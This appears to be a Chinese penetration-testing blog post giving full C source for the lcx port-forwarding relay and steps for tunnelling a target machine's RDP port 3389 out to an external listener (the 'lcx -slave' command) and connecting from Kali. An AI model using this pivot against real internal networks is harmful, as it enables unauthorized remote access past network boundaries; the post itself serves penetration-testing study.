• 欢迎访问本站网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

lcx端口转发工具(Windows/Linux版)

网络安全 admin 9个月前 (10-18) 290次浏览 已收录 0个评论 扫描二维码
Linux c编译
  1. #include <sys/time.h>
  2. #include <signal.h>
  3. #include <stdlib.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <string.h>
  7. #include <netinet/in.h>
  8. #include <arpa/inet.h>
  9. #include <unistd.h>
  10. #include <stdio.h>
  11. #include <errno.h>
  12. #include <netdb.h>
  13. #define VERSION “2.2”
  14. #define TIMEOUT 300
  15. #define max(a,b) (a)>(b)?(a):(b)
  16. #define MAXSIZE 10240
  17. #define HOSTLEN 40
  18. #define CONNECT_NUMBER 5
  19. /* define function here */
  20. void usage(char *s);
  21. void transdata(int fd1,int fd2);
  22. void closeallfd(int);
  23. void makelog(char *buffer,int length);
  24. int testifisvalue(char *str);
  25. int bind2conn(int port1,char *host,int port2);
  26. int bind2bind(int port1,int port2);
  27. int conn2conn(char *host1,int port1,char *host2,int port2);
  28. int create_socket();
  29. int create_serv(int sockfd,int port);
  30. int client_connect(int sockfd,char* server,int port);
  31. /* define GLOBAL varible here */
  32. extern int errno;
  33. FILE *fp;
  34. main(int argc,char **argv)
  35. {
  36.     char **p;
  37.     char host1[HOSTLEN],host2[HOSTLEN];
  38.     int port1=0,port2=0,method=0;
  39.     int length;
  40.     char *logfile=NULL;
  41.     p=argv;
  42.     memset(host1,0,HOSTLEN);
  43.     memset(host2,0,HOSTLEN);
  44.     while(*p)
  45.     {
  46.         if(strcmp(*p,”-v”)==0)
  47.         {
  48.             printf(“Socket data transport tool.\r\nVersion:%s\r\n”,VERSION);
  49.             p++;
  50.             continue;
  51.         }
  52.         if(strcmp(*p,”-h1″)==0)
  53.         {
  54.             if(testifisvalue(*(p+1))==1)
  55.             {
  56.                 length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
  57.                 strncpy(host1,*(++p),length);
  58.             }
  59.             p++;
  60.             continue;
  61.         }
  62.         if(strcmp(*p,”-h2″)==0)
  63.         {
  64.             if(testifisvalue(*(p+1))==1)
  65.             {
  66.                 length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
  67.                 strncpy(host2,*(++p),length);
  68.             }
  69.             p++;
  70.             continue;
  71.         }
  72.         if(strcmp(*p,”-p1″)==0)
  73.         {
  74.             if(testifisvalue(*(p+1))==1)
  75.                 port1=atoi(*(++p));
  76.             p++;
  77.             continue;
  78.         }
  79.         if(strcmp(*p,”-p2″)==0)
  80.         {
  81.             if(testifisvalue(*(p+1))==1)
  82.                 port2=atoi(*(++p));
  83.             p++;
  84.             continue;
  85.         }
  86.         if(strcmp(*p,”-m”)==0)
  87.         {
  88.             if(testifisvalue(*(p+1))==1)
  89.                 method=atoi(*(++p));
  90.             p++;
  91.             continue;
  92.         }
  93.         if(strcmp(*p,”-log”)==0)
  94.         {
  95.             if(testifisvalue(*(p+1))==1)
  96.                 logfile=*(++p);
  97.             else
  98.             {
  99.                 printf(“[ERROR]:must supply logfile name\r\n”);
  100.                 exit(0);
  101.             }
  102.             p++;
  103.             continue;
  104.         }
  105.         p++;
  106.     }
  107.     signal(SIGCLD,SIG_IGN);
  108.     signal(SIGINT,&closeallfd);
  109.     if(logfile !=NULL)
  110.     {
  111.         fp=fopen(logfile,”a”);
  112.         if(fp == NULL )
  113.         {
  114.             perror(“open logfile”);
  115.             exit(0);
  116.         }
  117.     }
  118.     makelog(“######################## start ################\r\n”,49);
  119.     switch(method)
  120.     {
  121.     case 0:
  122.         usage(argv[0]);
  123.         break;
  124.     case 1:
  125.         if((port1==0) || (port2==0))
  126.         {
  127.             printf(“[ERROR]:must supply PORT1 and PORT2.\r\n”);
  128.             break;
  129.         }
  130.         if(strlen(host2)==0)
  131.         {
  132.             printf(“[ERROR]:must supply HOST2.\r\n”);
  133.             break;
  134.         }
  135.         bind2conn(port1,host2,port2);
  136.         break;
  137.     case 2:
  138.         if((port1==0) || (port2==0))
  139.         {
  140.             printf(“[ERROR]:must supply PORT1 and PORT2.\r\n”);
  141.             break;
  142.         }
  143.         bind2bind(port1,port2);
  144.         break;
  145.     case 3:
  146.         if((port1==0) || (port2==0))
  147.         {
  148.             printf(“[ERROR]:must supply PORT1 and PORT2.\r\n”);
  149.             break;
  150.         }
  151.         if(strlen(host1)==0)
  152.         {
  153.             printf(“[ERROR]:must supply HOST1.\r\n”);
  154.             break;
  155.         }
  156.         if(strlen(host2)==0)
  157.         {
  158.             printf(“[ERROR]:must supply HOST2.\r\n”);
  159.             break;
  160.         }
  161.         conn2conn(host1,port1,host2,port2);
  162.         break;
  163.     default:
  164.         usage(argv[0]);
  165.     }
  166.     closeallfd(0);
  167. }
  168. int testifisvalue(char *str)
  169. {
  170.     if(str == NULL ) return(0);
  171.     if(str[0]==’-‘) return(0);
  172.     return(1);
  173. }
  174. void usage(char *s)
  175. {
  176.     printf(“Socket data transport tool\r\n”);
  177.     printf(“by bkbll(bkbll@cnhonker.net)\r\n\r\n”);
  178.     printf(“Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n”,s);
  179.     printf(” -v: version\r\n”);
  180.     printf(” -h1: host1\r\n”);
  181.     printf(” -h2: host2\r\n”);
  182.     printf(” -p1: port1\r\n”);
  183.     printf(” -p2: port2\r\n”);
  184.     printf(” -log: log the data\r\n”);
  185.     printf(” -m: the action method for this tool\r\n”);
  186.     printf(” 1: listen on PORT1 and connect to HOST2:PORT2\r\n”);
  187.     printf(” 2: listen on PORT1 and PORT2\r\n”);
  188.     printf(” 3: connect to HOST1:PORT1 and HOST2:PORT2\r\n”);
  189.     closeallfd(0);
  190. }
  191. int bind2conn(int port1,char *host,int port2)
  192. {
  193.     int sockfd,sockfd1,sockfd2;
  194.     struct sockaddr_in remote;
  195.     int size;
  196.     int pid;
  197.     char buffer[1024];
  198.     memset(buffer,0,1024);
  199.     if((sockfd=create_socket())==0) exit(0);
  200.     if(create_serv(sockfd,port1)==0)
  201.     {
  202.         close(sockfd1);
  203.         exit(0);
  204.     }
  205.     size=sizeof(struct sockaddr);
  206.     while(1)
  207.     {
  208.         printf(“waiting for response………\n”);
  209.         if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,(socklen_t *)&size))<0)
  210.         {
  211.             perror(“accept error\n”);
  212.             continue;
  213.         }
  214.         printf(“accept a client from %s:%d\n”,inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
  215.         if((sockfd2=create_socket())==0)
  216.         {
  217.             close(sockfd1);
  218.             continue;
  219.         }
  220.         printf(“make a connection to %s:%d….”,host,port2);
  221.         fflush(stdout);
  222.         if(client_connect(sockfd2,host,port2)==0)
  223.         {
  224.             close(sockfd2);
  225.             sprintf(buffer,”[SERVER]connection to %s:%d error\r\n”,host,port2);
  226.             write(sockfd1,buffer,strlen(buffer));
  227.             memset(buffer,0,1024);
  228.             close(sockfd1);
  229.             continue;
  230.         }
  231.         printf(“ok\r\n”);
  232.         pid=fork();
  233.         if(pid==0) transdata(sockfd1,sockfd2);
  234.         // sleep(2);
  235.         close(sockfd1);
  236.         close(sockfd2);
  237.     }
  238. }
  239. int bind2bind(int port1,int port2)
  240. {
  241.     int fd1,fd2,sockfd1,sockfd2;
  242.     struct sockaddr_in client1,client2;
  243.     int size1,size2;
  244.     int pid;
  245.     if((fd1=create_socket())==0) exit(0);
  246.     if((fd2=create_socket())==0) exit(0);
  247.     printf(“binding port %d……”,port1);
  248.     fflush(stdout);
  249.     if(create_serv(fd1,port1)==0)
  250.     {
  251.         close(fd1);
  252.         exit(0);
  253.     }
  254.     printf(“ok\r\n”);
  255.     printf(“binding port %d……”,port2);
  256.     fflush(stdout);
  257.     if(create_serv(fd2,port2)==0)
  258.     {
  259.         close(fd2);
  260.         exit(0);
  261.     }
  262.     printf(“ok\r\n”);
  263.     size1=size2=sizeof(struct sockaddr);
  264.     while(1)
  265.     {
  266.         printf(“waiting for response on port %d………\n”,port1);
  267.         if((sockfd1=accept(fd1,(struct sockaddr *)&client1,(socklen_t *)&size1))<0)
  268.         {
  269.             perror(“accept1 error”);
  270.             continue;
  271.         }
  272.         printf(“accept a client on port %d from %s,waiting another on port %d….\n”,port1,inet_ntoa(client1.sin_addr),port2);
  273.         if((sockfd2=accept(fd2,(struct sockaddr *)&client2,(socklen_t *)&size2))<0)
  274.         {
  275.             perror(“accept2 error”);
  276.             close(sockfd1);
  277.             continue;
  278.         }
  279.         printf(“accept a client on port %d from %s\n”,port2,inet_ntoa(client2.sin_addr));
  280.         pid=fork();
  281.         if(pid==0) transdata(sockfd1,sockfd2);
  282.         //sleep(2);
  283.         close(sockfd1);
  284.         close(sockfd2);
  285.     }
  286. }
  287. int conn2conn(char *host1,int port1,char *host2,int port2)
  288. {
  289.     int sockfd1,sockfd2;
  290.     int pid;
  291.     fd_set fds;
  292.     int l;
  293.     int result;
  294.     char buffer[MAXSIZE];
  295.     while(1)
  296.     {
  297.         if((sockfd1=create_socket())==0) exit(0);
  298.         if((sockfd2=create_socket())==0) exit(0);
  299.         printf(“[+] make a connection to %s:%d….\r\n”,host1,port1);
  300.         fflush(stdout);
  301.         if(client_connect(sockfd1,host1,port1)==0)
  302.         {
  303.             printf(“[-] connect to host1 failed\r\n”);
  304.             close(sockfd1);
  305.             close(sockfd2);
  306.             continue;
  307.         }
  308.         printf(“[+] host1 connected\r\n”);
  309.         l=0;
  310.         memset(buffer,0,MAXSIZE);
  311.         //fixed by Twi1ight 2012.09.12
  312.         while(1)
  313.         {
  314.             FD_ZERO(&fds);
  315.             FD_SET(sockfd1, &fds);
  316.             if (select(sockfd1+1, &fds, NULL, NULL, NULL) < 0 )
  317.             {
  318.                 if (errno == EINTR) continue;
  319.                 break;
  320.             }
  321.             if (FD_ISSET(sockfd1, &fds))
  322.             {
  323.                 l=read(sockfd1, buffer, MAXSIZE);
  324.                 break;
  325.             }
  326.             sleep(5);
  327.         }
  328.         if(l<=0)
  329.         {
  330.             printf(“[-] there is a error…Create a new connection.\r\n”);
  331.             continue;
  332.         }
  333.         while(1)
  334.         {
  335.             printf(“[+] make a connection to %s:%d….\r\n”,host2,port2);
  336.             fflush(stdout);
  337.             if(client_connect(sockfd2,host2,port2)==0)
  338.             {
  339.                 printf(“[-] connect to host2 failed\r\n”);
  340.                 close(sockfd1);
  341.                 close(sockfd2);
  342.                 continue;
  343.             }
  344.             if(write(sockfd2,buffer,l) < 0)
  345.             {
  346.                 printf(“[-] send failed.\r\n”);
  347.                 continue;
  348.             }
  349.             l=0;
  350.             memset(buffer,0,MAXSIZE);
  351.             break;
  352.         }
  353.         printf(“[+] all hosts connected!\r\n”);
  354.         pid=fork();
  355.         if(pid==0) transdata(sockfd1,sockfd2);
  356.         //sleep(2);
  357.         close(sockfd1);
  358.         close(sockfd2);
  359.     }
  360. }
  361. void transdata(int fd1,int fd2)
  362. {
  363.     struct timeval timeset;
  364.     fd_set readfd,writefd;
  365.     int result,i=0;
  366.     char read_in1[MAXSIZE],send_out1[MAXSIZE];
  367.     char read_in2[MAXSIZE],send_out2[MAXSIZE];
  368.     int read1=0,totalread1=0,send1=0;
  369.     int read2=0,totalread2=0,send2=0;
  370.     int sendcount1,sendcount2;
  371.     int maxfd;
  372.     struct sockaddr_in client1,client2;
  373.     int structsize1,structsize2;
  374.     char host1[20],host2[20];
  375.     int port1=0,port2=0;
  376.     char tmpbuf1[100],tmpbuf2[100];
  377.     memset(host1,0,20);
  378.     memset(host2,0,20);
  379.     memset(tmpbuf1,0,100);
  380.     memset(tmpbuf2,0,100);
  381.     if(fp!=NULL)
  382.     {
  383.         structsize1=sizeof(struct sockaddr);
  384.         structsize2=sizeof(struct sockaddr);
  385.         if(getpeername(fd1,(struct sockaddr *)&client1,(socklen_t *)&structsize1)<0)
  386.         {
  387.             strcpy(host1,”fd1″);
  388.         }
  389.         else
  390.         {
  391.             printf(“got,ip:%s,port:%d\r\n”,inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
  392.             strcpy(host1,inet_ntoa(client1.sin_addr));
  393.             port1=ntohs(client1.sin_port);
  394.         }
  395.         if(getpeername(fd2,(struct sockaddr *)&client2,(socklen_t *)&structsize2)<0)
  396.         {
  397.             strcpy(host2,”fd2″);
  398.         }
  399.         else
  400.         {
  401.             printf(“got,ip:%s,port:%d\r\n”,inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
  402.             strcpy(host2,inet_ntoa(client2.sin_addr));
  403.             port2=ntohs(client2.sin_port);
  404.         }
  405.         sprintf(tmpbuf1,”\r\n########### read from %s:%d ####################\r\n”,host1,port1);
  406.         sprintf(tmpbuf2,”\r\n########### reply from %s:%d ####################\r\n”,host2,port2);
  407.     }
  408.     maxfd=max(fd1,fd2)+1;
  409.     memset(read_in1,0,MAXSIZE);
  410.     memset(read_in2,0,MAXSIZE);
  411.     memset(send_out1,0,MAXSIZE);
  412.     memset(send_out2,0,MAXSIZE);
  413.     timeset.tv_sec=TIMEOUT;
  414.     timeset.tv_usec=0;
  415.     while(1)
  416.     {
  417.         FD_ZERO(&readfd);
  418.         FD_ZERO(&writefd);
  419.         FD_SET(fd1,&readfd);
  420.         FD_SET(fd1,&writefd);
  421.         FD_SET(fd2,&writefd);
  422.         FD_SET(fd2,&readfd);
  423.         result=select(maxfd,&readfd,&writefd,NULL,×et);
  424.         if((result<0) && (errno!=EINTR))
  425.         {
  426.             perror(“select error”);
  427.             break;
  428.         }
  429.         else if(result==0)
  430.         {
  431.             printf(“time out\n”);
  432.             break;
  433.         }
  434.         if(FD_ISSET(fd1,&readfd))
  435.         {
  436.             /* 不能超过MAXSIZE-totalread1,不然send_out1会溢出 */
  437.             if(totalread1<MAXSIZE)
  438.             {
  439.                 read1=read(fd1,read_in1,MAXSIZE-totalread1);
  440.                 if(read1==0) break;
  441.                 if((read1<0) && (errno!=EINTR))
  442.                 {
  443.                     perror(“read data error”);
  444.                     break;
  445.                 }
  446.                 memcpy(send_out1+totalread1,read_in1,read1);
  447.                 makelog(tmpbuf1,strlen(tmpbuf1));
  448.                 makelog(read_in1,read1);
  449.                 totalread1+=read1;
  450.                 memset(read_in1,0,MAXSIZE);
  451.             }
  452.         }
  453.         if(FD_ISSET(fd2,&writefd))
  454.         {
  455.             int err=0;
  456.             sendcount1=0;
  457.             while(totalread1>0)
  458.             {
  459.                 send1=write(fd2,send_out1+sendcount1,totalread1);
  460.                 if(send1==0)break;
  461.                 if((send1<0) && (errno!=EINTR))
  462.                 {
  463.                     perror(“unknow error”);
  464.                     err=1;
  465.                     break;
  466.                 }
  467.                 if((send1<0) && (errno==ENOSPC)) break;
  468.                 sendcount1+=send1;
  469.                 totalread1-=send1;
  470.             }
  471.             if(err==1) break;
  472.             if((totalread1>0) && (sendcount1>0))
  473.             {
  474.                 /* 移动未发送完的数据到开始 */
  475.                 memcpy(send_out1,send_out1+sendcount1,totalread1);
  476.                 memset(send_out1+totalread1,0,MAXSIZE-totalread1);
  477.             }
  478.             else
  479.                 memset(send_out1,0,MAXSIZE);
  480.         }
  481.         if(FD_ISSET(fd2,&readfd))
  482.         {
  483.             if(totalread2<MAXSIZE)
  484.             {
  485.                 read2=read(fd2,read_in2,MAXSIZE-totalread2);
  486.                 if(read2==0)break;
  487.                 if((read2<0) && (errno!=EINTR))
  488.                 {
  489.                     perror(“read data error”);
  490.                     break;
  491.                 }
  492.                 memcpy(send_out2+totalread2,read_in2,read2);
  493.                 makelog(tmpbuf2,strlen(tmpbuf2));
  494.                 makelog(read_in2,read2);
  495.                 totalread2+=read2;
  496.                 memset(read_in2,0,MAXSIZE);
  497.             }
  498.         }
  499.         if(FD_ISSET(fd1,&writefd))
  500.         {
  501.             int err2=0;
  502.             sendcount2=0;
  503.             while(totalread2>0)
  504.             {
  505.                 send2=write(fd1,send_out2+sendcount2,totalread2);
  506.                 if(send2==0)break;
  507.                 if((send2<0) && (errno!=EINTR))
  508.                 {
  509.                     perror(“unknow error”);
  510.                     err2=1;
  511.                     break;
  512.                 }
  513.                 if((send2<0) && (errno==ENOSPC)) break;
  514.                 sendcount2+=send2;
  515.                 totalread2-=send2;
  516.             }
  517.             if(err2==1) break;
  518.             if((totalread2>0) && (sendcount2 > 0))
  519.             {
  520.                 /* 移动未发送完的数据到开始 */
  521.                 memcpy(send_out2,send_out2+sendcount2,totalread2);
  522.                 memset(send_out2+totalread2,0,MAXSIZE-totalread2);
  523.             }
  524.             else
  525.                 memset(send_out2,0,MAXSIZE);
  526.         }
  527.     }
  528.     close(fd1);
  529.     close(fd2);
  530.     printf(“ok,I closed the two fd\r\n”);
  531.     //exit(0);
  532. }
  533. void closeallfd(int n)
  534. {
  535.     int i;
  536.     printf(“Let me exit…”);
  537.     fflush(stdout);
  538.     for(i=3;i<256;i++)
  539.     {
  540.         close(i);
  541.     }
  542.     if(fp != NULL)
  543.     {
  544.         fprintf(fp,”exited\r\n”);
  545.         fclose(fp);
  546.     }
  547.     printf(“all overd\r\n”);
  548.     exit(0);
  549. }
  550. void makelog(char *buffer,int length)
  551. {
  552.     if(fp !=NULL)
  553.     {
  554.         //fprintf(fp,”%s”,buffer);
  555.         write(fileno(fp),buffer,length);
  556.         fflush(fp);
  557.     }
  558. }
  559. int create_socket()
  560. {
  561.     int sockfd;
  562.     sockfd=socket(AF_INET,SOCK_STREAM,0);
  563.     if(sockfd<0)
  564.     {
  565.         perror(“create socket error”);
  566.         return(0);
  567.     }
  568.     return(sockfd);
  569. }
  570. int create_serv(int sockfd,int port)
  571. {
  572.     struct sockaddr_in srvaddr;
  573.     int on=1;
  574.     bzero(&srvaddr,sizeof(struct sockaddr));
  575.     srvaddr.sin_port=htons(port);
  576.     srvaddr.sin_family=AF_INET;
  577.     srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
  578.     setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind the port
  579.     if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
  580.     {
  581.         perror(“error”);
  582.         return(0);
  583.     }
  584.     if(listen(sockfd,CONNECT_NUMBER)<0)
  585.     {
  586.         perror(“listen error\n”);
  587.         return(0);
  588.     }
  589.     return(1);
  590. }
  591. int client_connect(int sockfd,char* server,int port)
  592. {
  593.     struct sockaddr_in cliaddr;
  594.     struct hostent *host;
  595.     if(!(host=gethostbyname(server)))
  596.     {
  597.         printf(“gethostbyname(%s) error:%s\n”,server,strerror(errno));
  598.         return(0);
  599.     }
  600.     bzero(&cliaddr,sizeof(struct sockaddr));
  601.     cliaddr.sin_family=AF_INET;
  602.     cliaddr.sin_port=htons(port);
  603.     cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
  604.     if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
  605.     {
  606.         perror(“[-] error”);
  607.         return(0);
  608.     }
  609.     return(1);
  610. }

复制代码

gcc编译:#gcc -o 编译出的文件名 源文件名
./portmap 可以出现帮助。
例如:内网3389端口连接到外网111.222.333.444的8888端口(8888端口已由lcx监听并转发),那么执行

 

  1. ./portmap -m 2 -p1 8888 -p2 33891

复制代码

  • P1为本地监听的端口(与ngrok转发的端口一致)
  • P2为本地转发的端口(随便命名,但不能是已被占用的端口)

lcx端口转发工具(Windows/Linux版)

到靶机中执行lcx端口转发
lcx -slave 111.222.333.444 8888 127.0.0.1 3389
lcx端口转发工具(Windows/Linux版)
在kali连接3389端口

lcx端口转发工具(Windows/Linux版)
已经成功连接上了3389远程桌面
编译好的lcx:链接

原文来源:https://www.hackblog.cn/?p=126
在局域网环境进行,切勿用于非法用途
声明:
切勿使用在本网站学习的方法攻击其他计算机,保护网络安全,人人有责,做一个维护网络安全的人。
该网站编写此类文章的目标是为了让渗透测试爱好者在学习过程中更好的掌握技巧和方法同时也让广大网民了解黑客是如何对互联网进行攻击的从而更好的保护网络财产安全,如果使用在本站学习的方法和技巧攻击其他计算机的造成的后果自负,与本站无关,学技术不是为了搞破坏,而是为了更好的去保护我们祖国的网络安全!


本站的文章和资源来自互联网或者站长的原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:lcx端口转发工具(Windows/Linux版)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址